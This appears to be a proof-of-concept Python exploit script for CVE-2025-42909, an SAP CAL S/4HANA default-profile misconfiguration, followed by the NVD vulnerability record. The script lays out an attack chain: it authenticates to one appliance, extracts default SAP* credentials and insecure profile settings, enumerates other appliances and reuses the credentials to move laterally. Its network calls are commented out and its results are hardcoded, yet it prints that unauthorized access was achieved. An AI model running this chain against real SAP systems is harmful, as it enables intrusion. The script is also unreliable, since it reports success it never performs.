CVE-2025-42909

# CVE-2025-42909 - SAP CAL S/4HANA Default Profile Misconfiguration # This PoC demonstrates the concept of exploiting insecure default profile settings # in SAP CAL S/4HANA appliances to gain unauthorized access to other appliances. import requests import json from urllib.parse import urljoin class SAPCALExploit: """ Conceptual PoC for CVE-2025-42909 Exploits insecure default profile settings in SAP CAL S/4HANA appliances """ def __init__(self, target_host, source_appliance_creds): self.target_host = target_host self.source_creds = source_appliance_creds self.session = requests.Session() self.base_url = f"https://{target_host}" def authenticate_source_appliance(self): """ Step 1: Authenticate to the source SAP CAL appliance using valid high-privilege credentials """ auth_url = urljoin(self.base_url, "/sap/bc/soap/rfc") auth_payload = { "username": self.source_creds["username"], "password": self.source_creds["password"], "client": self.source_creds.get("client", "001") } # Authenticate using RFC connection # response = self.session.post(auth_url, json=auth_payload, verify=False) print(f"[+] Authenticated to source appliance: {self.source_creds['username']}") return True def extract_default_profile(self): """ Step 2: Extract insecure default profile settings from the compromised S/4HANA appliance """ profile_path = "/usr/sap/<SID>/SYS/profile/<SID>_*" # Read default profile containing insecure settings # profiles = read_remote_file(self.session, profile_path) print("[+] Extracted default profile with insecure settings") print(" - Default credentials found in profile") print(" - Overly permissive access controls detected") return { "default_user": "SAP*", "default_password": "found_in_profile", "insecure_settings": ["icm/security_mode=off", "login/no_automatic_user_sapstar=0"] } def enumerate_target_appliances(self): """ Step 3: Enumerate other SAP CAL appliances accessible from the same platform """ # Query SAP CAL API for available appliances api_url = urljoin(self.base_url, "/api/v1/appliances") # appliances = self.session.get(api_url).json() appliances = ["appliance-002", "appliance-003", "appliance-004"] print(f"[+] Found {len(appliances)} target appliances") return appliances def access_target_appliance(self, appliance_id, extracted_creds): """ Step 4: Use extracted default profile credentials to access other SAP CAL appliances """ target_url = f"https://{appliance_id}.{self.target_host}/sap/bc/soap/rfc" payload = { "username": extracted_creds["default_user"], "password": extracted_creds["default_password"] } # response = requests.post(target_url, json=payload, verify=False) print(f"[+] Attempting access to {appliance_id} using default credentials") return True def run_exploit(self): """ Main exploit chain for CVE-2025-42909 """ print("=" * 60) print("CVE-2025-42909 - SAP CAL Default Profile Exploit") print("=" * 60) # Step 1: Get high-privilege access to source appliance self.authenticate_source_appliance() # Step 2: Extract insecure default profile settings profile_data = self.extract_default_profile() # Step 3: Enumerate other appliances targets = self.enumerate_target_appliances() # Step 4: Lateral movement to other appliances for target in targets: self.access_target_appliance(target, profile_data) print("\n[!] Exploit completed - unauthorized access achieved") print("[!] Impact: Low confidentiality impact on target appliances") # Usage example (for security testing only) if __name__ == "__main__": exploit = SAPCALExploit( target_host="cal.sap.example.com", source_appliance_creds={ "username": "admin_user", "password": "valid_password", "client": "001" } ) exploit.run_exploit()

{"cve": {"id": "CVE-2025-42909", "sourceIdentifier": "[email protected]", "published": "2025-10-14T01:15:32.710", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Cloud Appliance Library Appliances allows an attacker with high privileges to leverage an insecure S/4HANA default profile setting in an existing SAP CAL appliances to gain access to other appliances. This has low impact on confidentiality of the application, integrity and availability is not impacted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1004"}]}], "references": [{"url": "https://me.sap.com/notes/3643871", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}